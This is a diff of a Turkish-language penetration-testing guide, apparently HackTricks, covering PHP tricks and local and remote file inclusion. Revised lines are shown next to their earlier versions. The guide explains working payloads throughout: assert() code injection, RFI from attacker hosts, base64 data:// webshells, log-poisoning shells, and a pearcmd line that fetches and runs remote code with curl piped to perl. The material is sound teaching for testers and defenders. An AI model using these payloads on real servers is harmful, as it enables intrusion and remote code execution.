Desteklenen algoritmalar: `PASSWORD_DEFAULT` ve `PASSWORD_BCRYPT` ( `$2y$` ile başlar). **PASSWORD_DEFAULT genellikle PASSWORD_BCRYPT ile aynı olduğunu** unutmayın. Ve şu anda, **PASSWORD_BCRYPT**'in **girişte 72 baytlık bir boyut sınırlaması** vardır. Bu nedenle, bu algoritma ile 72 bayttan daha büyük bir şeyi hashlemeye çalıştığınızda yalnızca ilk 72B kullanılacaktır:
Bu fonksiyonlar genellikle PHP'de **şifrelerden hash oluşturmak** ve bir şifrenin bir hash ile karşılaştırıldığında **doğru olup olmadığını kontrol etmek** için kullanılır.\
Desteklenen algoritmalar: `PASSWORD_DEFAULT` ve `PASSWORD_BCRYPT` ( `$2y$` ile başlar). **PASSWORD_DEFAULT genellikle PASSWORD_BCRYPT ile aynı olduğunu** unutmayın. Ve şu anda, **PASSWORD_BCRYPT**'in **girişte 72baytlık bir boyut sınırlaması** vardır. Bu nedenle, bu algoritma ile 72bayttan daha büyük bir şeyi hashlemeye çalıştığınızda yalnızca ilk 72B kullanılacaktır:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -173,7 +174,7 @@ True
#### Başlıkları ayarladıktan sonra hata oluşturma
[**bu twitter dizisinde**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) 1000'den fazla GET parametresi veya 1000'den fazla POST parametresi veya 20 dosya gönderildiğinde, PHOP'un yanıtta başlıkları ayarlamayacağını görebilirsiniz.
[**bu twitter dizisinde**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) 1000'den fazla GET parametresi veya 1000'den fazla POST parametresi veya 20 dosya gönderildiğinde, PHP'nin yanıtta başlıkları ayarlamayacağını görebilirsiniz.
Bu, örneğin CSP başlıklarının kodlarda ayarlanmasını atlatmaya olanak tanır:
```php
@ -183,7 +184,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### Başlıkları ayarlamadan önce bir gövde doldurma
Eğer bir **PHP sayfası hataları yazdırıyorsa ve kullanıcı tarafından sağlanan bazı girdileri geri ekrana basıyorsa**, kullanıcı PHP sunucusunun geri dönen bazı **içeriği yeterince uzun** yapmasını sağlayabilir, böylece sunucu **başlıkları** yanıtın içine eklemeye çalıştığında bir hata verecektir.\
Eğer bir **PHP sayfası hataları yazdırıyorsa ve kullanıcı tarafından sağlanan bazı girdileri geri ekrana basıyorsa**, kullanıcı PHP sunucusunun **yanıtına yeterince uzun bir içerik** yazdırmasını sağlayabilir, böylece sunucu **başlıkları** eklemeye çalıştığında bir hata verecektir.\
Aşağıdaki senaryoda **saldırgan sunucunun büyük hatalar vermesini sağladı** ve ekranda görebileceğiniz gibi PHP başlık bilgilerini **değiştirmeye çalıştığında, başaramadı** (örneğin CSP başlığı kullanıcıya gönderilmedi):
![](<../../../images/image (1085).png>)
@ -222,12 +223,12 @@ Bu preg_replace seçeneği **PHP 5.5.0 itibarıyla kullanımdan kaldırılmışt
```
### **Assert() ile RCE**
php içindeki bu fonksiyon, **bir dize içinde yazılmış kodu çalıştırmanıza** olanak tanır ve **true veya false döndürür** (ve buna bağlı olarak yürütmeyi değiştirir). Genellikle kullanıcı değişkeni bir dize ortasına yerleştirilecektir. Örneğin:\
`assert("strpos($_GET['page']),'..') === false")` --> Bu durumda **RCE** elde etmek için şunu yapabilirsiniz:
php içindeki bu fonksiyon, **bir dize içinde yazılmış kodu çalıştırmanıza** olanak tanır ve **true veya false döndürür** (ve buna bağlı olarak yürütmeyi değiştirir). Genellikle kullanıcı değişkeni bir dize içinde ortada yer alır. Örneğin:\
`assert("strpos($_GET['page']),'..') === false")` --> Bu durumda **RCE** elde etmek için şunları yapabilirsiniz:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
Kod **sözdizimini** **bozmanız**, **payload**'ınızı **eklemeniz** ve sonra **tekrar düzeltmeniz** gerekecek. "**and" veya "%26%26" veya "|"** gibi **mantıksal işlemler** kullanabilirsiniz. "or", "||" çalışmaz çünkü eğer ilk koşul doğruysa payload'ımız çalışmayacaktır. Aynı şekilde ";" de çalışmaz çünkü payload'ımız çalışmayacaktır.
Kod **sözdizimini** **bozmanız**, **yüklemenizi** **eklemeniz** ve sonra **tekrar düzeltmeniz** gerekecek. **"and" veya "%26%26" veya "|"** gibi **mantıksal işlemler** kullanabilirsiniz. "or", "||" çalışmaz çünkü ilk koşul doğruysa yüklemeniz çalışmayacaktır. Aynı şekilde ";" de çalışmaz çünkü yüklemeniz çalışmayacaktır.
**Diğer bir seçenek**, dizeye komutun yürütülmesini eklemektir: `'.highlight_file('.passwd').'`
@ -262,7 +263,7 @@ Kapatmanız gereken parantez sayısını keşfetmek için:
- `?order=id;}//`: bir hata mesajı alıyoruz (`Parse error: syntax error, unexpected ';'`). Muhtemelen bir veya daha fazla parantez eksik.
- `?order=id);}//`: bir **uyarı** alıyoruz. Bu doğru görünüyor.
- `?order=id));}//`: bir hata mesajı alıyoruz (`Parse error: syntax error, unexpected ')' i`). Muhtemelen çok fazla kapanış parantezimiz var.
- `?order=id));}//`: bir hata mesajı alıyoruz (`Parse error: syntax error, unexpected ')' i`). Muhtemelen fazla kapanış parantezimiz var.
### **.httaccess ile RCE**
@ -289,7 +290,7 @@ Eğer PHP'de **env değişkenlerini değiştirmeye** izin veren bir güvenlik a
### XAMPP CGI RCE - CVE-2024-4577
Web sunucusu HTTP isteklerini ayrıştırır ve bunları `php.exe cgi.php foo=bar` gibi bir isteği çalıştıran bir PHP betiğine iletir, bu da bir parametre enjeksiyonuna izin verir. Bu, gövde içindeki PHP kodunu yüklemek için aşağıdaki parametreleri enjekte etmeye olanak tanır:
Web sunucusu HTTP isteklerini ayrıştırır ve bunları `php.exe cgi.php foo=bar` gibi bir isteği çalıştıran bir PHP betiğine iletir, bu da parametre enjeksiyonuna izin verir. Bu, gövde içindeki PHP kodunu yüklemek için aşağıdaki parametreleri enjekte etmeye izin verecektir:
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
@ -308,10 +309,10 @@ phpinfo();
?>
```
## PHP Sanitizasyon atlatma & Brain Fuck
## PHP Sanitization bypass & Brain Fuck
[**Bu yazıda**](https://blog.redteam-pentesting.de/2024/moodle-rce/) çok az karakterle izin verilen bir brain fuck PHP kodu oluşturmak için harika fikirler bulmak mümkün.\
Ayrıca, birkaç kontrolü atlatmalarını sağlayan fonksiyonları çalıştırmanın ilginç bir yolu da önerilmektedir:
[**Bu yazıda**](https://blog.redteam-pentesting.de/2024/moodle-rce/) çok az karakterle bir brain fuck PHP kodu oluşturmak için harika fikirler bulmak mümkün.\
Ayrıca, birkaç kontrolü atlamalarına izin veren fonksiyonları çalıştırmanın ilginç bir yolu da önerilmektedir:
```php
(1)->{system($_GET[chr(97)])}
```
@ -325,9 +326,9 @@ $_COOKIE | if #This mea
```
Eğer bir PHP uygulamasını hata ayıklıyorsanız, hata yazdırmayı global olarak etkinleştirmek için `/etc/php5/apache2/php.ini` dosyasına `display_errors = On` ekleyebilir ve apache'yi yeniden başlatabilirsiniz: `sudo systemctl restart apache2`
### PHP kodunu deşifre etme
### PHP kodunu deobfuscate etme
PHP kodunu deşifre etmek için **web**[ **www.unphp.net**](http://www.unphp.net) **kullanabilirsiniz.**
PHP kodunu deobfuscate etmek için **web**[ **www.unphp.net**](http://www.unphp.net) **kullanabilirsiniz.**
## PHP Wrapper'ları ve Protokoller
@ -349,7 +350,7 @@ echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## RCE kötüye kullanımı yeni $\_GET\["a"]\($\_GET\["b"])
## RCE kötüye kullanımı yeni $\_GET\["a"]\($\_GET\["b")
Eğer bir sayfada **rastgele bir sınıfın yeni bir nesnesini oluşturabiliyorsanız** RCE elde etme şansınız olabilir, nasıl yapılacağını öğrenmek için aşağıdaki sayfayı kontrol edin:

View File

@ -4,7 +4,7 @@
## Dosya Dahil Etme
**Uzak Dosya Dahil Etme (RFI):** Dosya, uzak bir sunucudan yüklenir (En İyi: Kodu yazabilirsiniz ve sunucu bunu çalıştırır). PHP'de bu **varsayılan olarak devre dışıdır** (**allow_url_include**).\
**Uzaktan Dosya Dahil Etme (RFI):** Dosya, uzaktaki bir sunucudan yüklenir (En İyi: Kodu yazabilirsiniz ve sunucu bunu çalıştırır). PHP'de bu **varsayılan olarak devre dışıdır** (**allow_url_include**).\
**Yerel Dosya Dahil Etme (LFI):** Sunucu, yerel bir dosyayı yükler.
Zafiyet, kullanıcının sunucu tarafından yüklenecek dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar.
@ -84,13 +84,13 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Sunucu Üzerinde Dosya Sistemi Dizinlerini Keşfetme
Bir sunucunun dosya sistemi, belirli teknikler kullanılarak yalnızca dosyaları değil, dizinleri tanımlamak için özyinelemeli olarak keşfedilebilir. Bu süreç, dizin derinliğini belirlemeyi ve belirli klasörlerin varlığını sorgulamayı içerir. Bunu başarmak için aşağıda ayrıntılı bir yöntem bulunmaktadır:
Bir sunucunun dosya sistemi, belirli teknikler kullanılarak yalnızca dosyaları değil, dizinleri de tanımlamak için özyinelemeli olarak keşfedilebilir. Bu süreç, dizin derinliğini belirlemeyi ve belirli klasörlerin varlığını sorgulamayı içerir. Bunu başarmak için ayrıntılı bir yöntem aşağıda verilmiştir:
1. **Dizin Derinliğini Belirleme:** Mevcut dizininizin derinliğini, `/etc/passwd` dosyasını başarıyla alarak belirleyin (bu, sunucu Linux tabanlıysa geçerlidir). Örnek bir URL, üç derinliği belirten aşağıdaki gibi yapılandırılabilir:
1. **Dizin Derinliğini Belirleme:** Mevcut dizininizin derinliğini, `/etc/passwd` dosyasını başarıyla alarak belirleyin (sunucu Linux tabanlıysa geçerlidir). Örnek bir URL, üç derinliği gösterecek şekilde aşağıdaki gibi yapılandırılabilir:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Klasörleri Araştır:** Şüpheli klasörün adını (örneğin, `private`) URL'ye ekleyin, ardından `/etc/passwd`'a geri gidin. Ek dizin seviyesi derinliği bir artırmayı gerektirir:
2. **Klasörleri Araştır:** Şüpheli klasörün adını (örneğin, `private`) URL'ye ekleyin, ardından `/etc/passwd`'a geri gidin. Ekstra dizin seviyesi derinliği bir artırmayı gerektirir:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
@ -99,13 +99,13 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
- **`/etc/passwd` İçeriği:** `private` klasörünün varlığı doğrulanmıştır.
4. **Kapsamlı Keşif:** Bulunan klasörler, aynı teknik veya geleneksel Yerel Dosya Dahil Etme (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla araştırılabilir.
Dosya sistemindeki farklı konumlarda dizinleri keşfetmek için, yükü buna göre ayarlayın. Örneğin, `/var/www/` içinde bir `private` dizini olup olmadığını kontrol etmek için (mevcut dizinin derinliği 3 olarak varsayıldığında) şunu kullanın:
Dosya sistemindeki farklı konumlarda dizinleri keşfetmek için yükü buna göre ayarlayın. Örneğin, `/var/www/` içinde bir `private` dizini olup olmadığını kontrol etmek için (mevcut dizinin derinliği 3 olarak varsayıldığında) şunu kullanın:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, dosya yollarının sonuna ek karakterler ekleyen belirli güvenlik önlemlerini atlayarak kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildiğinde bile istenen dosyaya işaret eden bir dosya yolu oluşturmaktır.
Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, dosya yollarının sonuna ek karakterler ekleyen belirli güvenlik önlemlerini aşarak kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildiğinde bile istenen dosyaya işaret eden bir dosya yolu oluşturmaktır.
PHP'de, dosya sisteminin doğası gereği bir dosya yolunun çeşitli temsilleri eşdeğer olarak kabul edilebilir. Örneğin:
@ -125,8 +125,8 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
```
Bu senaryolarda, gereken geçiş sayısı yaklaşık 2027 civarında olabilir, ancak bu sayı sunucunun yapılandırmasına bağlı olarak değişebilir.
- **Nokta Segmentleri ve Ekstra Karakterler Kullanma**: Geçiş dizileri (`../`) ek nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir, bu sayede sunucu tarafından eklenen dizgiler etkili bir şekilde göz ardı edilir.
- **Gerekli Geçiş Sayısını Belirleme**: Deneme yanılma yoluyla, kök dizine ve ardından `/etc/passwd`'a gitmek için gereken `../` dizilerinin kesin sayısını bulmak mümkündür, böylece eklenen dizgiler (örneğin, `.php`) etkisiz hale getirilirken istenen yol (`/etc/passwd`) sağlam kalır.
- **Nokta Segmentleri ve Ekstra Karakterler Kullanma**: Geçiş dizileri (`../`) ek nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir, böylece sunucu tarafından eklenen dizgiler etkili bir şekilde göz ardı edilir.
- **Gerekli Geçiş Sayısını Belirleme**: Deneme yanılma yoluyla, kök dizine ve ardından `/etc/passwd`'a gitmek için gereken `../` dizilerinin kesin sayısını bulmak mümkündür; bu, eklenen dizgilerin (örneğin, `.php`) etkisiz hale getirildiğinden emin olurken istenen yolun (`/etc/passwd`) sağlam kalmasını sağlar.
- **Sahte Bir Dizinle Başlama**: Yolu var olmayan bir dizinle (örneğin `a/`) başlatmak yaygın bir uygulamadır. Bu teknik, bir önlem olarak veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır.
Yol kısaltma teknikleri kullanılırken, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için test yapmak genellikle gereklidir.
@ -143,7 +143,7 @@ http://example.com/index.php?page=PhP://filter
```
## Uzaktan Dosya Dahil Etme
php'de bu varsayılan olarak devre dışı bırakılmıştır çünkü **`allow_url_include`** **Kapalı.** Bunun çalışması için **Açık** olması gerekir ve bu durumda sunucunuzdan bir PHP dosyası dahil edebilir ve RCE elde edebilirsiniz:
php'de bu varsayılan olarak devre dışı bırakılmıştır çünkü **`allow_url_include`** **Kapalıdır.** Bunun çalışması için **Açık** olması gerekir ve bu durumda sunucunuzdan bir PHP dosyası dahil edebilir ve RCE elde edebilirsiniz:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
@ -153,7 +153,7 @@ Eğer bir sebepten dolayı **`allow_url_include`** **Açık** ise, ancak PHP dı
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> Önceki kodda, son `+.txt` eklendi çünkü saldırganın `.txt` ile biten bir dizeye ihtiyacı vardı, bu yüzden dize bununla bitiyor ve b64 çözümlemesinden sonra o kısım sadece gereksiz veri dönecek ve gerçek PHP kodu dahil edilecek (ve dolayısıyla, çalıştırılacak).
> Önceki kodda, son `+.txt` eklendi çünkü saldırganın `.txt` ile biten bir dizeye ihtiyacı vardı, bu yüzden dize bununla bitiyor ve b64 çözümlemesinden sonra o kısım sadece gereksiz veriler dönecek ve gerçek PHP kodu dahil edilecek (ve dolayısıyla, çalıştırılacak).
Başka bir örnek **`php://` protokolünü kullanmayan**:
```
@ -213,34 +213,34 @@ Yerel dosya dahil etme (LFI) zafiyetlerine karşı savunmasız olabilecek en iyi
### php://filter
PHP filtreleri, veriler okunmadan veya yazılmadan önce temel **değiştirme işlemleri gerçekleştirmeye** olanak tanır. 5 filtre kategorisi vardır:
PHP filtreleri, veriler okunmadan veya yazılmadan önce **veri üzerinde temel değişiklik işlemleri** gerçekleştirmeye olanak tanır. 5 filtre kategorisi vardır:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Verilerden etiketleri kaldırır ("<" ve ">" karakterleri arasındaki her şey)
- `string.strip_tags`: Veriden etiketleri kaldırır ("<" ve ">" karakterleri arasındaki her şey)
- Bu filtrenin modern PHP sürümlerinden kaybolduğunu unutmayın.
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Farklı bir kodlamaya dönüştürür (`convert.iconv.<input_enc>.<output_enc>`). Desteklenen **tüm kodlamaların listesini** almak için konsolda şunu çalıştırın: `iconv -l`
- `convert.iconv.*` : Farklı bir kodlamaya dönüştürür (`convert.iconv.<input_enc>.<output_enc>`). **Desteklenen tüm kodlamaların listesini** almak için konsolda şunu çalıştırın: `iconv -l`
> [!WARNING]
> `convert.iconv.*` dönüşüm filtresini kötüye kullanarak **rastgele metin** üretebilirsiniz, bu da rastgele metin yazmak veya bir işlev gibi dahil etme işlemini rastgele metin yapmak için yararlı olabilir. Daha fazla bilgi için [**LFI2RCE php filtreleri aracılığıyla**](lfi2rce-via-php-filters.md) kontrol edin.
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: İçeriği sıkıştırır (çok fazla bilgi sızdırırken yararlıdır)
- `zlib.inflate`: Verileri açar
- `zlib.inflate`: Veriyi açar
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Kullanımdan kaldırıldı
- `mdecrypt.*` : Kullanımdan kaldırıldı
- Diğer Filtreler
- php'de `var_dump(stream_get_filters());` çalıştırarak birkaç **beklenmedik filtre** bulabilirsiniz:
- `consumed`
- `dechunk`: HTTP chunked kodlamasını tersine çevirir
- `dechunk`: HTTP parçalı kodlamasını tersine çevirir
- `convert.*`
```php
# String Filters
@ -283,11 +283,11 @@ Orijinal yazıda tekniğin detaylı bir açıklamasını bulabilirsiniz, ancak b
- Bu, önceki ile birleştirildiğinde (ve tahmin edilen harfe bağlı diğer filtrelerle), metnin başındaki bir harfi tahmin etmemizi sağlayacaktır; çünkü yeterince dönüşüm yaptığımızda artık bir onaltılık karakter olmaktan çıkacaktır. Çünkü eğer onaltılık ise, dechunk onu silmeyecek ve başlangıç bombası php hatasını tetikleyecektir.
- **convert.iconv.UNICODE.CP930** codec'i her harfi bir sonrakine dönüştürür (bu codec'ten sonra: a -> b). Bu, örneğin ilk harfin `a` olup olmadığını keşfetmemizi sağlar; çünkü bu codec'i 6 kez uygularsak a->b->c->d->e->f->g harfi artık bir onaltılık karakter değildir, bu nedenle dechunk onu silmez ve php hatası başlangıç bombası ile tetiklenir.
- Başlangıçta **rot13** gibi diğer dönüşümler kullanarak n, o, p, q, r gibi diğer karakterleri sızdırmak mümkündür (ve diğer codec'ler, diğer harfleri onaltılık aralığına taşımak için kullanılabilir).
- İlk karakter bir sayı olduğunda, bunu base64 ile kodlamak ve sayıyı sızdırmak için ilk 2 harfi sızdırmak gerekir.
- İlk karakter bir sayı olduğunda, bunu base64 kodlaması yapmak ve sayıyı sızdırmak için ilk 2 harfi sızdırmak gerekir.
- Son sorun, **ilk harften daha fazlasını nasıl sızdıracağınızı** görmektir. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** gibi sıralı bellek filtreleri kullanarak karakterlerin sırasını değiştirmek ve metnin ilk konumuna diğer harfleri almak mümkündür.
- Ve **daha fazla veri** elde edebilmek için fikir, **başlangıçta 2 bayt çöp verisi oluşturmak** ve **convert.iconv.UTF16.UTF16** ile uygulamak, ardından **UCS-4LE** ile bunu **sonraki 2 bayt ile pivotlamak** ve **çöp veriye kadar veriyi silmek** (bu, başlangıç metninin ilk 2 baytını kaldıracaktır). İstenilen bit sızdırılana kadar bunu yapmaya devam edin.
- Ve **daha fazla veri** elde edebilmek için, **başlangıçta 2 bayt çöp verisi oluşturma** fikri vardır; **convert.iconv.UTF16.UTF16** ile, bunu **sonraki 2 bayt ile pivotlamak için UCS-4LE** uygularız ve **çöp veriye kadar veriyi sileriz** (bu, başlangıç metninin ilk 2 baytını kaldıracaktır). İstenilen bit'e ulaşana kadar bunu yapmaya devam edin.
Yazıda bunu otomatik olarak gerçekleştirmek için bir araç da sızdırıldı: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
Yazıda bunu otomatik olarak gerçekleştirmek için bir araç da sızdırılmıştır: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
@ -300,7 +300,7 @@ $myfile = fopen("/etc/passwd", "r");
### zip:// ve rar://
İçinde bir PHPShell bulunan bir Zip veya Rar dosyası yükleyin ve erişin.\
İçinde PHPShell bulunan bir Zip veya Rar dosyası yükleyin ve erişin.\
Rar protokolünü kötüye kullanabilmek için **özellikle etkinleştirilmesi gerekir**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
@ -358,9 +358,9 @@ php --define phar.readonly=0 create_path.php
```
Yürütme sırasında `test.phar` adında bir dosya oluşturulacak ve bu, Yerel Dosya Dahil Etme (LFI) açıklarını istismar etmek için kullanılabilir.
LFI yalnızca dosya okumakla sınırlıysa ve içindeki PHP kodunu çalıştırmıyorsa, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, veya `filesize()` gibi fonksiyonlar aracılığıyla bir deserialization açığını istismar etmeye çalışılabilir. Bu açık, `phar` protokolü kullanılarak dosyaların okunmasıyla ilişkilidir.
LFI yalnızca dosya okumakla sınırlıysa ve içindeki PHP kodunu çalıştırmıyorsa, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, veya `filesize()` gibi fonksiyonlar aracılığıyla bir deserialization açığını istismar etme girişiminde bulunulabilir. Bu açık, `phar` protokolü kullanılarak dosyaların okunmasıyla ilişkilidir.
`.phar` dosyaları bağlamında deserialization açıklarını istismar etmeyi anlamak için aşağıdaki belgede yer alan bilgilere bakın:
`.phar` dosyaları bağlamında deserialization açıklarını istismar etme konusunda detaylı bir anlayış için aşağıdaki belgede yer alan bağlantıya bakın:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -370,8 +370,8 @@ phar-deserialization.md
### CVE-2024-2961
**php filtrelerini destekleyen herhangi bir rastgele dosyanın okunmasını** kötüye kullanarak RCE elde etmek mümkündü. Ayrıntılııklama [**bu yazıda bulunabilir**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Çok hızlı bir özet: PHP yığınında bir **3 bayt taşması** kötüye kullanılarak **belirli boyutlardaki serbest parçaların zincirini değiştirmek** için kullanıldı, böylece **herhangi bir adrese yazmak** mümkün oldu ve **`system`** çağrısı yapmak için bir hook eklendi.\
**php filtrelerini destekleyen herhangi bir rastgele dosyanın okunmasını** kötüye kullanarak RCE elde etmek mümkündü. Detaylııklama [**bu yazıda bulunabilir**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Çok hızlı bir özet: PHP yığınında bir **3 bayt taşması** kötüye kullanılarak **belirli boyuttaki serbest parçaların zincirini değiştirmek** için kullanıldı, böylece **herhangi bir adrese yazmak** mümkün oldu ve **`system`** çağrısı yapmak için bir hook eklendi.\
Daha fazla php filtresi kötüye kullanılarak belirli boyutlarda parçalar tahsis etmek mümkündü.
### Daha Fazla Protokol
@ -408,7 +408,7 @@ Benzer şekilde, rastgele sistem komutları yürütmek için şunlar kullanılab
## PHP Blind Path Traversal
> [!WARNING]
> Bu teknik, **bir PHP fonksiyonunun** **dosya yolunu** **kontrol ettiğiniz** durumlarda geçerlidir; bu fonksiyon **bir dosyaya erişecek** ancak dosyanın içeriğini göremeyeceksiniz (örneğin **`file()`** fonksiyonuna basit bir çağrı gibi) ama içerik gösterilmeyecek.
> Bu teknik, **bir PHP fonksiyonunun** **dosya yolunu** **kontrol ettiğiniz** durumlarda geçerlidir; bu fonksiyon bir **dosyaya erişecek** ancak dosyanın içeriğini göremeyeceksiniz (örneğin, **`file()`** fonksiyonuna basit bir çağrı gibi) ama içerik gösterilmeyecek.
[**bu inanılmaz yazıda**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) bir blind path traversal'ın PHP filtresi aracılığıyla **bir hata oracle'ı üzerinden bir dosyanın içeriğini dışarı sızdırmak için nasıl kötüye kullanılabileceği**ıklanmaktadır.
@ -431,11 +431,11 @@ Daha önce açıklandığı gibi, [**bu bağlantıyı takip edin**](#remote-file
Eğer Apache veya Nginx sunucusu **LFI'ye karşı zayıfsa**, include fonksiyonu içinde **`/var/log/apache2/access.log` veya `/var/log/nginx/access.log`** dosyasına erişmeye çalışabilirsiniz, **kullanıcı ajanı** içinde veya bir **GET parametresi** içinde **`<?php system($_GET['c']); ?>`** gibi bir php shell ayarlayıp o dosyayı dahil edebilirsiniz.
> [!WARNING]
> **Shell için çift tırnak kullanıyorsanız** dikkat edin, **basit tırnaklar** yerine çift tırnak kullanırsanız, çift tırnaklar "_**quote;**_" dizesi için değiştirilecektir, **PHP orada bir hata verecektir** ve **başka hiçbir şey çalıştırılmayacaktır**.
> Shell için **çift tırnak** kullanıyorsanız, **basit tırnaklar** yerine, çift tırnaklar "_**quote;**_" dizesi için değiştirilecektir, **PHP orada bir hata verecektir** ve **başka hiçbir şey çalıştırılmayacaktır**.
>
> Ayrıca, **yükü doğru yazdığınızdan emin olun** yoksa PHP, log dosyasını yüklemeye çalıştığında her seferinde hata verecektir ve ikinci bir fırsatınız olmayacaktır.
> Ayrıca, **yükü doğru yazdığınızdan emin olun** yoksa PHP, log dosyasını yüklemeye çalıştığında her seferinde hata verecek ve ikinci bir fırsatınız olmayacaktır.
Bu, diğer loglarda da yapılabilir ama **dikkatli olun**, loglardaki kod URL encoded olabilir ve bu Shell'i bozabilir. **Authorization "basic"** başlığı, Base64'te "user:password" içerir ve loglar içinde çözülür. PHPShell bu başlık içine yerleştirilebilir.\
Bu, diğer loglarda da yapılabilir ama **dikkatli olun**, loglardaki kod URL encoded olabilir ve bu Shell'i bozabilir. **authorization "basic"** başlığı, Base64'te "user:password" içerir ve loglar içinde çözülür. PHPShell bu başlık içine yerleştirilebilir.\
Diğer olası log yolları:
```python
/var/log/apache2/access.log
@ -457,11 +457,11 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### /proc/\*/fd/\* ile
1. Birçok shell yükleyin (örneğin: 100)
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) dahil edin, burada $PID = sürecin PID'si (brute force ile bulunabilir) ve $FD dosya tanımlayıcısıdır (brute force ile bulunabilir).
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) adresini dahil edin, burada $PID = sürecin PID'si (brute force ile bulunabilir) ve $FD dosya tanımlayıcısıdır (brute force ile bulunabilir).
### /proc/self/environ ile
Bir log dosyası gibi, yüklemeyi User-Agent içinde gönderin, bu /proc/self/environ dosyası içinde yansıtılacaktır.
Bir log dosyası gibi, yüklemeyi User-Agent içinde gönderin, bu /proc/self/environ dosyasında yansıtılacaktır.
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
@ -574,44 +574,46 @@ Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b allte
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### Via phpinfo() (file_uploads = on)
### phpinfo() Üzerinden (file_uploads = on)
Eğer bir **Local File Inclusion** bulduysanız ve **file_uploads = on** olan bir dosya **phpinfo()** sunuyorsa, RCE elde edebilirsiniz:
Eğer bir **Local File Inclusion** bulduysanız ve **file_uploads** = on olan bir **phpinfo()** dosyası bulduysanız, RCE elde edebilirsiniz:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Yol Açıklaması Üzerinden
Eğer bir **Local File Inclusion** bulduysanız ve **geçici dosyanın yolunu** **sızdırabiliyorsanız** AMA **sunucu** **dahil edilecek dosyanın PHP işaretlerine** **bakıyorsa**, bu **Race Condition** ile **o kontrolü atlamayı** deneyebilirsiniz:
Eğer bir **Local File Inclusion** bulduysanız ve **geçici dosyanın yolunu dışarıya aktarabiliyorsanız** AMA **sunucu** **dahil edilecek dosyanın PHP işaretlerine sahip olup olmadığını kontrol ediyorsa**, bu **Race Condition** ile **o kontrolü atlamayı** deneyebilirsiniz:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Via eternal waiting + bruteforce
### Sonsuz Bekleme + Brute Force Üzerinden
Eğer LFI'yi **geçici dosyalar yüklemek** için kötüye kullanabiliyorsanız ve sunucunun PHP yürütmesini **dondurmasını** sağlayabiliyorsanız, o zaman **geçici dosya adlarını saatlerce brute force** yaparak bulabilirsiniz:
